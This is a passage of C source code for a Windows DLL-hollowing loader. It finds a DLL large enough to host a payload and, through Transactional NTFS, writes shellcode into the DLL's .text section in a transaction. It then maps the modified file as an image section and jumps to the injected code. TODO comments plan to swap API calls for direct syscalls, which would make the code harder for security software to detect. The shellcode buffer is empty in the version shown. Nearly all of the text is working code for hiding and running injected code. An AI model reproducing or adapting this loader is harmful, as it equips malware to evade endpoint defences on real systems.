wcscat_s(cDllDestPath, MAX_PATH, wfd.cFileName);
if (CopyFileW(cDllPath, cDllDestPath, TRUE)) { // TODO: replace with syscall
printf("[+] Copied %ls to %ls\r\n", cDllPath, cDllDestPath);
}
// Cleanup
SecureZeroMemory(cDllPath, MAX_PATH);
SecureZeroMemory(cDllDestPath, MAX_PATH);
} while (FindNextFileW(hFind, &wfd));
}
// Set path to tmp folder
SecureZeroMemory(cSearchFilePath, MAX_PATH);
wcscat_s(cSearchFilePath, MAX_PATH, cTempPath);
wcscat_s(cSearchFilePath, MAX_PATH, L"*.dll");
}
if ((hFind = FindFirstFileW(cSearchFilePath, &wfd)) != INVALID_HANDLE_VALUE) {
do {
if (GetModuleHandleW(wfd.cFileName) == NULL) {
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hTransaction = INVALID_HANDLE_VALUE;
WCHAR cFilePath[MAX_PATH];
NTSTATUS ntStatus;
PBYTE pFileBuf;
if (bIsElevated) {
GetSystemDirectoryW(cFilePath, MAX_PATH);
wcscat_s(cFilePath, MAX_PATH, L"\\");
}
else {
GetTempPathW(MAX_PATH, cFilePath);
}
wcscat_s(cFilePath, MAX_PATH, wfd.cFileName);
//
// Read the DLL to memory and check its headers to identify its image size.
//
if (bTxF) {
OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
ntStatus = pNtCreateTransaction(&hTransaction,
TRANSACTION_ALL_ACCESS,
&objAttr,
NULL,
NULL,
0,
0,
0,
NULL,
NULL);
if (NT_SUCCESS(ntStatus)) {
hFile = CreateFileTransactedW(cFilePath,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL);
}
else {
printf("[-] Failed to create transaction (error 0x%lx)\r\n", ntStatus);
}
}
else {
hFile = CreateFileW(cFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // TODO: replace with syscall
}
if (hFile != INVALID_HANDLE_VALUE) {
const UINT dwFileSize = GetFileSize(hFile, NULL);
UINT dwBytesRead = 0;
pFileBuf = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);
if (ReadFile(hFile, pFileBuf, dwFileSize, (PDWORD)&dwBytesRead, NULL)) {
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
IMAGE_DOS_HEADER* pDosHdr = (IMAGE_DOS_HEADER*)pFileBuf;
IMAGE_NT_HEADERS* pNtHdrs = (IMAGE_NT_HEADERS*)(pFileBuf + pDosHdr->e_lfanew);
IMAGE_SECTION_HEADER* pSectHdrs = (IMAGE_SECTION_HEADER*)((PBYTE)&pNtHdrs->OptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
if (pNtHdrs->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR_MAGIC) {
if (dwReqBufSize < pNtHdrs->OptionalHeader.SizeOfImage && (_stricmp((char*)pSectHdrs->Name, ".text") == 0 && dwReqBufSize < pSectHdrs->Misc.VirtualSize)) {
//
// Found a DLL with sufficient image size: map an image view of it for hollowing.
//
printf("[*] %ws - image size: %lu - .text size: %lu\r\n", wfd.cFileName, pNtHdrs->OptionalHeader.SizeOfImage, pSectHdrs->Misc.VirtualSize);
BOOL bTxF_Valid = FALSE;
UINT dwCodeRva = 0;
if (bTxF) {
//
// For TxF, make the modifications to the file contents now prior to mapping.
//
UINT dwBytesWritten = 0;
//
// Wipe the data directories that conflict with the code section
//
for (UINT dwX = 0; dwX < pNtHdrs->OptionalHeader.NumberOfRvaAndSizes; dwX++) {
if (pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress >= pSectHdrs->VirtualAddress && pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress < (pSectHdrs->VirtualAddress + pSectHdrs->Misc.VirtualSize)) {
pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress = 0;
pNtHdrs->OptionalHeader.DataDirectory[dwX].Size = 0;
}
}
//
// Find a range free of relocations large enough to accomodate the code.
//
BOOL bRangeFound = FALSE;
PBYTE pRelocBuf = (PBYTE)GetPAFromRVA(pFileBuf, pNtHdrs, pSectHdrs, pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if (pRelocBuf != NULL) {
for (dwCodeRva = 0; !bRangeFound && dwCodeRva < pSectHdrs->Misc.VirtualSize; dwCodeRva += dwReqBufSize) {
if (!CheckRelocRange(pRelocBuf, pSectHdrs->VirtualAddress + dwCodeRva, pSectHdrs->VirtualAddress + dwCodeRva + dwReqBufSize)) {
bRangeFound = TRUE;
break;
}
}
if (bRangeFound) {
printf("[+] Found a blank region with code section to accomodate payload at 0x%08x\r\n", dwCodeRva);
}
else {
printf("[-] Failed to identify a blank region large enough to accomodate payload\r\n");
}
memcpy(pFileBuf + pSectHdrs->PointerToRawData + dwCodeRva, pCodeBuf, dwReqBufSize);
if (WriteFile(hFile, pFileBuf, dwFileSize, (PDWORD)&dwBytesWritten, NULL)) {
printf("[+] Successfully modified TxF file content.\r\n");
bTxF_Valid = TRUE;
}
}
else {
printf("[-] No relocation directory present.\r\n");
}
}
if (!bTxF || bTxF_Valid) {
HANDLE hSection = NULL;
ntStatus = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
if (NT_SUCCESS(ntStatus)) {
*pqwMapBufSize = 0; // The map view is an in and out parameter, if it isn't zero the map may have its size overwritten
ntStatus = pNtMapViewOfSection(hSection, GetCurrentProcess(), (void**)ppMapBuf, 0, 0, NULL, (PSIZE_T)pqwMapBufSize, 1, 0, PAGE_READONLY); // AllocationType of MEM_COMMIT|MEM_RESERVE is not needed for SEC_IMAGE.
if (NT_SUCCESS(ntStatus)) {
if (*pqwMapBufSize >= pNtHdrs->OptionalHeader.SizeOfImage) { // Verify that the mapped size is of sufficient size. There are quirks to image mapping that can result in the image size not matching the mapped size.
printf("[*] %ws - mapped size: %I64u\r\n", wfd.cFileName, *pqwMapBufSize);
*ppMappedCode = *ppMapBuf + pSectHdrs->VirtualAddress + dwCodeRva;
if (!bTxF) {
UINT dwOldProtect = 0;
if (VirtualProtect(*ppMappedCode, dwReqBufSize, PAGE_READWRITE, (PDWORD)&dwOldProtect)) {
memcpy(*ppMappedCode, pCodeBuf, dwReqBufSize);
if (VirtualProtect(*ppMappedCode, dwReqBufSize, dwOldProtect, (PDWORD)&dwOldProtect)) {
bMapped = TRUE;
}
}
}
else {
bMapped = TRUE;
}
}
}
else {
printf("[-] Failed to create mapping of section (error 0x%08lx)", ntStatus);
}
}
else {
printf("[-] Failed to create section (error 0x%lx)\r\n", ntStatus);
}
}
else {
printf("[-] TxF initialization failed.\r\n");
}
}
}
}
if (pFileBuf != NULL) {
VirtualFree(pFileBuf, 0, MEM_RELEASE);
}
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
}
if (hTransaction != INVALID_HANDLE_VALUE) {
CloseHandle(hTransaction);
}
}
else {
printf("[-] Failed to open handle to %ws (error %lu)\r\n", cFilePath, GetLastError());
}
}
} while (!bMapped && FindNextFileW(hFind, &wfd));
FindClose(hFind);
}
return bMapped;
}
//
// Helpers
//
IMAGE_SECTION_HEADER* GetContainerSectHdr(IMAGE_NT_HEADERS* pNtHdrs, IMAGE_SECTION_HEADER* pInitialSectHeader, UINT64 qwRVA) {
for (UINT dwX = 0; dwX < pNtHdrs->FileHeader.NumberOfSections; dwX++) {
IMAGE_SECTION_HEADER* pCurrentSectHdr = pInitialSectHeader;
UINT dwCurrentSectSize;
pCurrentSectHdr += dwX;
if (pCurrentSectHdr->Misc.VirtualSize > pCurrentSectHdr->SizeOfRawData) {
dwCurrentSectSize = pCurrentSectHdr->Misc.VirtualSize;
}
else {
dwCurrentSectSize = pCurrentSectHdr->SizeOfRawData;
}
if ((qwRVA >= pCurrentSectHdr->VirtualAddress) && (qwRVA <= (pCurrentSectHdr->VirtualAddress + dwCurrentSectSize))) {
return pCurrentSectHdr;
}
}
return NULL;
}
PVOID GetPAFromRVA(PBYTE pPeBuf, IMAGE_NT_HEADERS* pNtHdrs, IMAGE_SECTION_HEADER* pInitialSectHdrs, UINT64 qwRVA) {
IMAGE_SECTION_HEADER* pContainSectHdr;
if ((pContainSectHdr = GetContainerSectHdr(pNtHdrs, pInitialSectHdrs, qwRVA)) != NULL) {
const UINT dwOffset = (qwRVA - pContainSectHdr->VirtualAddress);
if (dwOffset < pContainSectHdr->SizeOfRawData)
{
// Sections can be partially or fully virtual. Avoid creating physical pointers that reference regions outside of the raw data in sections with a greater virtual size than physical.
return (PBYTE)(pPeBuf + pContainSectHdr->PointerToRawData + dwOffset);
}
}
return NULL;
}
BOOL CheckRelocRange(PBYTE pRelocBuf, UINT dwStartRVA, UINT dwEndRVA) {
IMAGE_BASE_RELOCATION* pCurrentRelocBlock;
UINT dwRelocBufOffset, dwX;
BOOL bWithinRange = FALSE;
for (pCurrentRelocBlock = (IMAGE_BASE_RELOCATION*)pRelocBuf, dwX = 0, dwRelocBufOffset = 0; pCurrentRelocBlock->SizeOfBlock; dwX++) {
const UINT dwNumBlocks = ((pCurrentRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD));
WORD* pwCurrentRelocEntry = (WORD*)((PBYTE)pCurrentRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (UINT dwY = 0; dwY < dwNumBlocks; dwY++, pwCurrentRelocEntry++) {
#ifdef _WIN64
#define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_DIR64
#else
#define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_HIGHLOW
#endif
if (((*pwCurrentRelocEntry >> 12) & RELOC_FLAG_ARCH_AGNOSTIC) == RELOC_FLAG_ARCH_AGNOSTIC) {
const UINT dwRelocEntryRefLocRva = (pCurrentRelocBlock->VirtualAddress + (*pwCurrentRelocEntry & 0x0FFF));
if (dwRelocEntryRefLocRva >= dwStartRVA && dwRelocEntryRefLocRva < dwEndRVA) {
bWithinRange = TRUE;
}
}
}
dwRelocBufOffset += pCurrentRelocBlock->SizeOfBlock;
pCurrentRelocBlock = (IMAGE_BASE_RELOCATION*)((PBYTE)pCurrentRelocBlock + pCurrentRelocBlock->SizeOfBlock);
}
return bWithinRange;
}
//
// Entry point
//
typedef void(*fnAddr)(VOID);
INT main() {
BOOL bIsElevated = FALSE;
BOOL bTxF = TRUE;
HANDLE hProcessToken = NULL;
PBYTE pMapBuf = NULL;
PBYTE pMappedCode = NULL;
UINT64 qwMapBufSize;
BYTE bMessageboxShellcode64[] = "";
// Check if ran with elevated privileges
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hProcessToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
bIsElevated = Elevation.TokenIsElevated;
}
}
if (hProcessToken) {
CloseHandle(hProcessToken);
}
// Check if TxF is supported
if (!IsWindowsVistaOrGreater()) { // Does this really work
puts("[*] TxF is not supported\r\n");
bTxF = FALSE;
}
if (HollowDll(&pMapBuf, &qwMapBufSize, bMessageboxShellcode64,
sizeof bMessageboxShellcode64, &pMappedCode, bTxF, bIsElevated)) {
printf("[+] Successfully mapped an image to hollow at 0x%p (size: %I64u bytes)\r\n", (const PCHAR)pMapBuf, qwMapBufSize);
printf("[*] Calling 0x%p...\r\n", (const PCHAR)pMappedCode);
((fnAddr)pMappedCode)();
}
}